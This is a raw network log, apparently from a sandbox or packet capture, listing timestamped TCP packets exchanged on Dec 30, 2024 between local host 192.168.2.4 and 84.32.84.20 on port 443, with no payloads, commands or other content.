Dec 30, 2024 21:42:42.038908005 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.038916111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.038964987 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.038973093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.039025068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.039298058 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.039326906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.039366961 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.039374113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.039391041 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.039412975 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.040445089 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.126173973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.126209021 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.126261950 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.126291990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.126307964 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.126336098 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.126408100 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.126430035 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.126477003 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.126482964 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.126507998 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.126528025 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.126763105 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.126780033 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.126830101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.126837015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.126950979 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127093077 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127110004 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127147913 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127155066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127180099 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127198935 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127306938 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127326965 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127373934 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127379894 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127392054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127418041 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127712965 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127732992 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127768993 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127782106 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127798080 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127815962 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127919912 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127938986 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.127973080 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.127979040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.128001928 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.128017902 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.128231049 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.128247976 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.128298044 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.128304958 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.128350019 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.130474091 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.214742899 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.214767933 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.214822054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.214849949 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.214870930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.214885950 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.215027094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.215039968 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.215079069 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.215085983 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.215183973 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.215337038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.215352058 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.215405941 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.215413094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.215450048 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.215737104 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.215754986 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.215804100 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.215811014 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.215837955 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.215857983 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.216010094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216023922 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216080904 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.216087103 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216114998 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.216283083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216303110 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216351986 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.216357946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216402054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.216594934 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216612101 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216655016 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.216664076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216708899 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.216861963 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216878891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216909885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.216918945 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.216932058 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.216947079 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.217571020 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.303594112 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.303615093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.303683996 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.303713083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.303838968 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.303858042 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.303899050 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.303905964 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.303925037 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.303957939 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.304160118 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.304176092 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.304225922 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.304231882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.304488897 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.304519892 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.304536104 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.304582119 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.304586887 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.304677010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.304794073 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.304806948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.304841042 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.304847002 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.304886103 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.304905891 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.305088997 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.305104017 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.305155993 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.305161953 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.305234909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.305445910 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.305493116 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.305500031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.305509090 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.305567026 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.305694103 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.305720091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.305747032 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.305754900 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.305768013 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.305871010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.306695938 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.392608881 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.392647982 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.392708063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.392743111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.392760992 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.392849922 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.393449068 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.393466949 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.393536091 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.393543959 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.393575907 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.393704891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.393724918 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.393755913 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.393763065 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.393795967 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.393815041 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.394017935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.394035101 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.394079924 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.394088984 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.394105911 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.394134045 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.394299030 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.394323111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.394380093 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.394387007 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.394454002 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.394627094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.394648075 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.394678116 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.394685030 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.394711018 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.394726992 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.394999981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.395016909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.395061970 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.395070076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.395108938 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.395271063 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.395289898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.395332098 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.395339966 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.395351887 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.395380974 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.396261930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.482053041 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.482091904 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.482153893 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.482182980 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.482202053 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.482224941 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.482299089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.482316971 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.482347965 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.482356071 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.482373953 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.482397079 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.482613087 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.482634068 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.482666969 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.482671976 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.482696056 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.482716084 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483027935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483052015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483083010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483088970 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483103991 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483125925 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483282089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483299971 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483326912 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483334064 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483361959 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483367920 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483668089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483686924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483722925 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483728886 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483752012 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483771086 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483872890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483897924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483918905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483923912 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.483949900 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.483968973 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.484170914 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.484188080 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.484215021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.484220982 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.484251022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.484268904 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.486099005 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.570987940 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571017981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571080923 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571093082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571105957 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571137905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571219921 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571239948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571276903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571283102 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571310043 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571322918 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571554899 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571572065 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571607113 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571611881 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571638107 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571655035 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571818113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571835041 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571878910 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571883917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.571913958 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.571932077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.572134018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.572149992 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.572204113 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.572208881 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.572253942 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.572514057 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.572532892 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.572563887 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.572570086 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.572609901 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.572628021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.572772980 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.572792053 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.572827101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.572832108 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.572854996 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.572876930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.573048115 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.573067904 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.573108912 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.573115110 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.573139906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.573158026 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.575128078 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.659817934 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.659852028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.659910917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.659930944 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.659960032 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.659979105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.660058975 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.660084009 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.660109997 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.660115957 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.660145044 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.660162926 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.660398960 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.660415888 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.660474062 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.660480976 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.660538912 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.660713911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.660732985 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.660799026 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.660805941 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.660854101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.661187887 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.661204100 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.661257982 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.661264896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.661309958 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.661446095 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.661473989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.661511898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.661516905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.661541939 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.661569118 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.661688089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.661704063 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.661770105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.661776066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.661829948 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.662003040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.662028074 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.662061930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.662067890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.662091970 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.662108898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.663526058 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.748697996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.748722076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.748934984 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.748949051 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.748960972 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.749012947 CET	443	49744	84.32.84.20	192.168.2.4
